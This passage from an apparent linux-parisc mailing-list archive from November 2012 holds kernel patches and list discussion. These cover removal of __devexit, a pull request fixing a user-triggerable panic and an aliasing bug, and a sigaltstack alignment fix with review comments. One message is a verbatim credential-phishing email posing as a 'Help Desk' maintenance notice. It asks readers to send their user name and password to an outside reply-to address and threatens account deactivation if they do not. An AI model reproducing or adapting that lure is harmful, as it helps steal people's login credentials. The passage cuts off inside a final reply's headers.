@@ -2663,7 +2663,7 @@ _err:
 	return err;
 }
 
-static int __devexit dbri_remove(struct platform_device *op)
+static int dbri_remove(struct platform_device *op)
 {
 	struct snd_card *card = dev_get_drvdata(&op->dev);
 
diff --git a/sound/spi/at73c213.c b/sound/spi/at73c213.c
index 9d92ecb..f78eae8 100644
--- a/sound/spi/at73c213.c
+++ b/sound/spi/at73c213.c
@@ -1007,7 +1007,7 @@ out:
 	return retval;
 }
 
-static int __devexit snd_at73c213_remove(struct spi_device *spi)
+static int snd_at73c213_remove(struct spi_device *spi)
 {
 	struct snd_card *card = dev_get_drvdata(&spi->dev);
 	struct snd_at73c213 *chip = card->private_data;
-- 
1.8.0

From - Thu Nov 08 21:08:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Help Desk <info@helpdesk.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Scheduled Maintenance & Upgrade
Date: Tue, 20 Nov 2012 12:47:20 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <20121120124720.76517hss92ohy24o__37115.0028579452$1353421959$gmane$org@mail.supernet.ao>
Reply-To: tech.team@tech-center.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=ISO-8859-1;
 DelSp="Yes";
 format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1353421947 15329 80.91.229.3 (20 Nov 2012 14:32:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 20 Nov 2012 14:32:27 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 20 15:32:38 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TaosN-0007yQ-2i
	for glpp-linux-parisc@plane.gmane.org; Tue, 20 Nov 2012 15:32:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752945Ab2KTOcU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 20 Nov 2012 09:32:20 -0500
Original-Received: from mail.supernet.ao ([66.110.113.4]:34199 "EHLO mail.supernet.ao"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752769Ab2KTOcP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 20 Nov 2012 09:32:15 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.supernet.ao (Postfix) with ESMTP id 07E763CEF66;
	Tue, 20 Nov 2012 12:47:24 -0600 (CST)
X-Virus-Scanned: Debian amavisd-new at mail.supernet.ao
Original-Received: from mail.supernet.ao ([127.0.0.1])
	by localhost (mail.supernet.ao [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id tvb-eg6-hB7D; Tue, 20 Nov 2012 12:47:23 -0600 (CST)
Original-Received: by mail.supernet.ao (Postfix, from userid 33)
	id 0C6433273B1; Tue, 20 Nov 2012 12:47:23 -0600 (CST)
Original-Received: from tl-197-124.tm.net.my (tl-197-124.tm.net.my
 [210.186.197.124]) by mail.supernet.ao (Horde Framework) with HTTP; Tue, 20
 Nov 2012 12:47:20 -0600
Content-Disposition: inline
User-Agent: Internet Messaging Program (IMP) H3 (4.3.7)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4679
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4679>


Help Desk

Attention Account User,

Scheduled Maintenance & Upgrade

Your account is in the process of being upgraded to a newest  
Windows-based servers and an enhanced online email interface inline  
with internet infrastructure Maintenance. The new servers will provide  
better anti-spam and anti-virus functions, along with IMAP Support for  
mobile devices to enhance your usage.

To ensure that your account is not disrupted but active during and  
after this upgrade, you are required to kindly confirm your account by  
stating the details below:

* User name:
* Password:

This will prompt the upgarde of your account.

Failure to acknowledge the receipt of this notification, might result  
to a temporal deactivation of your account from our database. Your  
account shall remain active upon your confirmation of your login  
details.

We do apologize for any inconvenience caused.

Help Desk Team.

(c) Copyright 2012, All Rights Reserved.





----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 128/493] sound: remove use of __devexit_p
Date: Wed, 21 Nov 2012 11:46:05 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20121121114605.GD3290@n2100.arm.linux.org.uk>
References: <1353349642-3677-1-git-send-email-wfp5p@virginia.edu> <1353349642-3677-128-git-send-email-wfp5p@virginia.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1353498398 13759 80.91.229.3 (21 Nov 2012 11:46:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Nov 2012 11:46:38 +0000 (UTC)
Cc: gregkh@linuxfoundation.org, Jaroslav Kysela <perex@perex.cz>,
	Takashi Iwai <tiwai@suse.de>,
	Eric Miao <eric.y.miao@gmail.com>,
	Haojian Zhuang <haojian.zhuang@gmail.com>,
	Clemens Ladisch <clemens@ladisch.de>,
	Thibaut Varene <T-Bone@parisc-linux.org>,
	Jaya Kumar <jayakumar.alsa@gmail.com>,
	alsa-devel@alsa-project.org, linux-arm-kernel@lists.infradead.org,
	linux-parisc@vger.kernel.org
To: Bill Pemberton <wfp5p@virginia.edu>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 21 12:46:47 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Tb8lS-0004mM-NM
	for glpp-linux-parisc@plane.gmane.org; Wed, 21 Nov 2012 12:46:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752987Ab2KULqf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Nov 2012 06:46:35 -0500
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:47666 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752826Ab2KULqf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Nov 2012 06:46:35 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=arm.linux.org.uk; s=caramon;
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=LmKiaB837YtQ6yEbRd+/OW/p3z58tX6uxT3zz0tP2ac=;
	b=fP+jMe+4rlnCbeehHtV5knG9HypN1QeaKZiRRl6RBBA9gvSBB2H+3bYiciLtDR3wfUE/Ev1DPApNt2TeYUWrpZf3rnTxzuDOu6x7VJ7UUbVwN5occHW2OmkT7vOcqDHXjZo8rhq1FR6ZzBQijp6aY5W/OZvoia7zezML0m4sp6o=;
Original-Received: from n2100.arm.linux.org.uk ([2002:4e20:1eda:1:214:fdff:fe10:4f86]:50176)
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.76)
	(envelope-from <linux@arm.linux.org.uk>)
	id 1Tb8kp-0003f9-8W; Wed, 21 Nov 2012 11:46:07 +0000
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.76)
	(envelope-from <linux@n2100.arm.linux.org.uk>)
	id 1Tb8ko-0004qg-1t; Wed, 21 Nov 2012 11:46:06 +0000
Content-Disposition: inline
In-Reply-To: <1353349642-3677-128-git-send-email-wfp5p@virginia.edu>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4680 gmane.linux.alsa.devel:103135 gmane.linux.ports.arm.kernel:201807
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4680>

On Mon, Nov 19, 2012 at 01:21:17PM -0500, Bill Pemberton wrote:
>  sound/arm/aaci.c                    | 2 +-

For this driver,

Acked-by: Russell King <rmk+kernel@arm.linux.org.uk>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc fixes for 3.6-rc3
Date: Thu, 22 Nov 2012 15:38:00 +0000
Lines: 68
Approved: news@gmane.org
Message-ID: <1353598680.2449.39.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1353616698 10895 80.91.229.3 (22 Nov 2012 20:38:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Nov 2012 20:38:18 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Nov 22 21:38:29 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1TbdXY-0007d7-3m
	for glk-linux-kernel-3@plane.gmane.org; Thu, 22 Nov 2012 21:38:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756763Ab2KVUiI (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 22 Nov 2012 15:38:08 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40103 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752943Ab2KVTOV (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 22 Nov 2012 14:14:21 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B2D1C8EE0E6;
	Thu, 22 Nov 2012 07:38:03 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id GbuERJDxs3Yz; Thu, 22 Nov 2012 07:38:03 -0800 (PST)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [46.65.52.191])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 837568EE0AB;
	Thu, 22 Nov 2012 07:38:02 -0800 (PST)
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1398975 gmane.linux.ports.parisc:4681
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1398975>

This is two bug fixes: one fixes a loophole where rt_sigprocmask() with
the wrong values panics the box (Denial of Service) and the other fixes
an aliasing problem with get_shared_area() which could cause data
corruption.

The patches are here:

git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git parisc-fixes

The short changelog is:

Al Viro (1):
      fix user-triggerable panic on parisc

James Bottomley (1):
      fix virtual aliasing issue in get_shared_area()

And the diffstat:

 arch/parisc/kernel/signal32.c   | 6 ++++--
 arch/parisc/kernel/sys_parisc.c | 2 ++
 2 files changed, 6 insertions(+), 2 deletions(-)

Full diff is below.

James

---

diff --git a/arch/parisc/kernel/signal32.c b/arch/parisc/kernel/signal32.c
index fd49aed..5dede04 100644
--- a/arch/parisc/kernel/signal32.c
+++ b/arch/parisc/kernel/signal32.c
@@ -65,7 +65,8 @@ put_sigset32(compat_sigset_t __user *up, sigset_t *set, size_t sz)
 {
 	compat_sigset_t s;
 
-	if (sz != sizeof *set) panic("put_sigset32()");
+	if (sz != sizeof *set)
+		return -EINVAL;
 	sigset_64to32(&s, set);
 
 	return copy_to_user(up, &s, sizeof s);
@@ -77,7 +78,8 @@ get_sigset32(compat_sigset_t __user *up, sigset_t *set, size_t sz)
 	compat_sigset_t s;
 	int r;
 
-	if (sz != sizeof *set) panic("put_sigset32()");
+	if (sz != sizeof *set)
+		return -EINVAL;
 
 	if ((r = copy_from_user(&s, up, sz)) == 0) {
 		sigset_32to64(set, &s);
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index 7426e40..f76c108 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -73,6 +73,8 @@ static unsigned long get_shared_area(struct address_space *mapping,
 	struct vm_area_struct *vma;
 	int offset = mapping ? get_offset(mapping) : 0;
 
+	offset = (offset + (pgoff << PAGE_SHIFT)) & 0x3FF000;
+
 	addr = DCACHE_ALIGN(addr - offset) + offset;
 
 	for (vma = find_vma(current->mm, addr); ; vma = vma->vm_next) {



From - Thu Nov 08 21:08:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: sigaltstack doesn't round ss.ss_sp as required
Date: Sat, 24 Nov 2012 10:05:04 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <BLU0-SMTP216C0F402CA26A39A5EEB197590@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1353769524 4069 80.91.229.3 (24 Nov 2012 15:05:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 24 Nov 2012 15:05:24 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 24 16:05:35 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TcHIT-000383-T8
	for glpp-linux-parisc@plane.gmane.org; Sat, 24 Nov 2012 16:05:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751600Ab2KXPFW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 24 Nov 2012 10:05:22 -0500
Original-Received: from blu0-omc4-s25.blu0.hotmail.com ([65.55.111.164]:64690 "EHLO
	blu0-omc4-s25.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751534Ab2KXPFW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 24 Nov 2012 10:05:22 -0500
Original-Received: from BLU0-SMTP21 ([65.55.111.137]) by blu0-omc4-s25.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 24 Nov 2012 07:05:21 -0800
X-Originating-IP: [69.158.171.42]
X-EIP: [u+ROhlLx0HBmGdE9ZHOjcqZvjzthRVwW]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.171.42]) by BLU0-SMTP21.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 24 Nov 2012 07:05:20 -0800
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 24 Nov 2012 15:05:20.0662 (UTC) FILETIME=[1F1CBB60:01CDCA55]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4682
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4682>

In trying to build the debian libsigsegv2 package, I found that  
sigaltstack
doesn't round ss.ss_sp.  The tests intentionally pass an unaligned  
pointer.
This results in the two stack overflow tests failing.

According to the Linux manual page:

"When a signal handler is invoked on the alternate stack, the kernel
automatically aligns the address given in ss.ss_sp to a suitable address
boundary for the underlying hardware architecture."

The stack address for the signal handler needs to be adjusted to provide
for frame marker and stack argument slots.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: sigaltstack doesn't round ss.ss_sp as required
Date: Sun, 25 Nov 2012 16:39:00 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <BLU0-SMTP91E4227D7FA649C74A9CB397580@phx.gbl>
References: <BLU0-SMTP216C0F402CA26A39A5EEB197590@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-5--237297514"
X-Trace: ger.gmane.org 1353879562 32766 80.91.229.3 (25 Nov 2012 21:39:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 25 Nov 2012 21:39:22 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 25 22:39:32 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TcjvH-00050J-BL
	for glpp-linux-parisc@plane.gmane.org; Sun, 25 Nov 2012 22:39:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753461Ab2KYVjU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 25 Nov 2012 16:39:20 -0500
Original-Received: from blu0-omc4-s8.blu0.hotmail.com ([65.55.111.147]:48338 "EHLO
	blu0-omc4-s8.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753456Ab2KYVjT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 25 Nov 2012 16:39:19 -0500
Original-Received: from BLU0-SMTP91 ([65.55.111.135]) by blu0-omc4-s8.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 25 Nov 2012 13:39:18 -0800
X-Originating-IP: [69.158.171.42]
X-EIP: [4KtKrNq5vKyCX0t6yeui8eRN7coShGGR]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.171.42]) by BLU0-SMTP91.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 25 Nov 2012 13:39:17 -0800
In-Reply-To: <BLU0-SMTP216C0F402CA26A39A5EEB197590@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 25 Nov 2012 21:39:17.0395 (UTC) FILETIME=[521DB630:01CDCB55]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4683
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4683>

--Apple-Mail-5--237297514
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 24-Nov-12, at 10:05 AM, John David Anglin wrote:

> In trying to build the debian libsigsegv2 package, I found that  
> sigaltstack
> doesn't round ss.ss_sp.  The tests intentionally pass an unaligned  
> pointer.
> This results in the two stack overflow tests failing.


The attached patch fixes this issue.

Signed-off-by: John David Anglin <dave.anglin@bell.net>


--Apple-Mail-5--237297514
Content-Disposition: attachment; filename="signal.c.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="signal.c.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 594459b..324644d 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -188,8 +188,10 @@ get_sigframe(struct k_sigaction *ka, unsigned long sp, size_t frame_size)
 	DBG(1,"get_sigframe: ka = %#lx, sp = %#lx, frame_size = %#lx\n",
 			(unsigned long)ka, sp, frame_size);
 	
+	/* Align alternate stack and reserve 64 bytes for the signal
+	   handler's frame marker.  */
 	if ((ka->sa.sa_flags & SA_ONSTACK) != 0 && ! sas_ss_flags(sp))
-		sp = current->sas_ss_sp; /* Stacks grow up! */
+		sp = (current->sas_ss_sp + 0x7f) & ~0x3f; /* Stacks grow up! */
 
 	DBG(1,"get_sigframe: Returning sp = %#lx\n", (unsigned long)sp);
 	return (void __user *) sp; /* Stacks grow up.  Fun. */

--Apple-Mail-5--237297514
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-5--237297514--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: sigaltstack doesn't round ss.ss_sp as required
Date: Sun, 25 Nov 2012 23:07:19 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <1585369.EaOyvHic2M@eto>
References: <BLU0-SMTP216C0F402CA26A39A5EEB197590@phx.gbl> <BLU0-SMTP91E4227D7FA649C74A9CB397580@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart12424661.unelz1emSx"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1353881262 13655 80.91.229.3 (25 Nov 2012 22:07:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 25 Nov 2012 22:07:42 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 25 23:07:51 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TckMg-0002Om-KW
	for glpp-linux-parisc@plane.gmane.org; Sun, 25 Nov 2012 23:07:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753552Ab2KYWHi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 25 Nov 2012 17:07:38 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:53647 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753544Ab2KYWHi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 25 Nov 2012 17:07:38 -0500
Original-Received: (qmail 5351 invoked from network); 25 Nov 2012 22:07:25 -0000
Original-Received: from dslb-178-003-165-035.pools.arcor-ip.net ([::ffff:178.3.165.35]:57432 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <dave.anglin@bell.net>; Sun, 25 Nov 2012 23:07:25 +0100
User-Agent: KMail/4.8.5 (Linux/3.6.6-11-desktop; KDE/4.8.5; x86_64; ; )
In-Reply-To: <BLU0-SMTP91E4227D7FA649C74A9CB397580@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4684
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4684>


--nextPart12424661.unelz1emSx
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

John David Anglin wrote:
> On 24-Nov-12, at 10:05 AM, John David Anglin wrote:
> > In trying to build the debian libsigsegv2 package, I found that
> > sigaltstack
> > doesn't round ss.ss_sp.  The tests intentionally pass an unaligned
> > pointer.
> > This results in the two stack overflow tests failing.
> 
> The attached patch fixes this issue.

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 594459b..324644d 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -188,8 +188,10 @@ get_sigframe(struct k_sigaction *ka, unsigned long sp, size_t frame_size)
 	DBG(1,"get_sigframe: ka = %#lx, sp = %#lx, frame_size = %#lx\n",
 			(unsigned long)ka, sp, frame_size);
 	
+	/* Align alternate stack and reserve 64 bytes for the signal
+	   handler's frame marker.  */
 	if ((ka->sa.sa_flags & SA_ONSTACK) != 0 && ! sas_ss_flags(sp))
-		sp = current->sas_ss_sp; /* Stacks grow up! */
+		sp = (current->sas_ss_sp + 0x7f) & ~0x3f; /* Stacks grow up! */
 
 	DBG(1,"get_sigframe: Returning sp = %#lx\n", (unsigned long)sp);
 	return (void __user *) sp; /* Stacks grow up.  Fun. */

What about something like this (entirely untested, but you'll get the idea):

sp = round_down(current->sas_ss_sp + 64, 64);

Greetings.

Eike
--nextPart12424661.unelz1emSx
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAlCylpwACgkQXKSJPmm5/E6HjACeLhXyDLuOb9W7ygUHtzGsF8ob
8ncAn1ZOIVpounOKXa6P0MDD7WSVrMYr
=E8P9
-----END PGP SIGNATURE-----

--nextPart12424661.unelz1emSx--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: sigaltstack doesn't round ss.ss_sp as required
Date: Sun, 25 Nov 2012 17:32:43 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <BLU0-SMTP947B736E2C64AAC471602F97580@phx.gbl>
References: <BLU0-SMTP216C0F402CA26A39A5EEB197590@phx.gbl> <BLU0-SMTP91E4227D7FA649C74A9CB397580@phx.gbl> <1585369.EaOyvHic2M@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1353882811 25213 80.91.229.3 (25 Nov 2012 22:33:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 25 Nov 2012 22:33:31 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>,
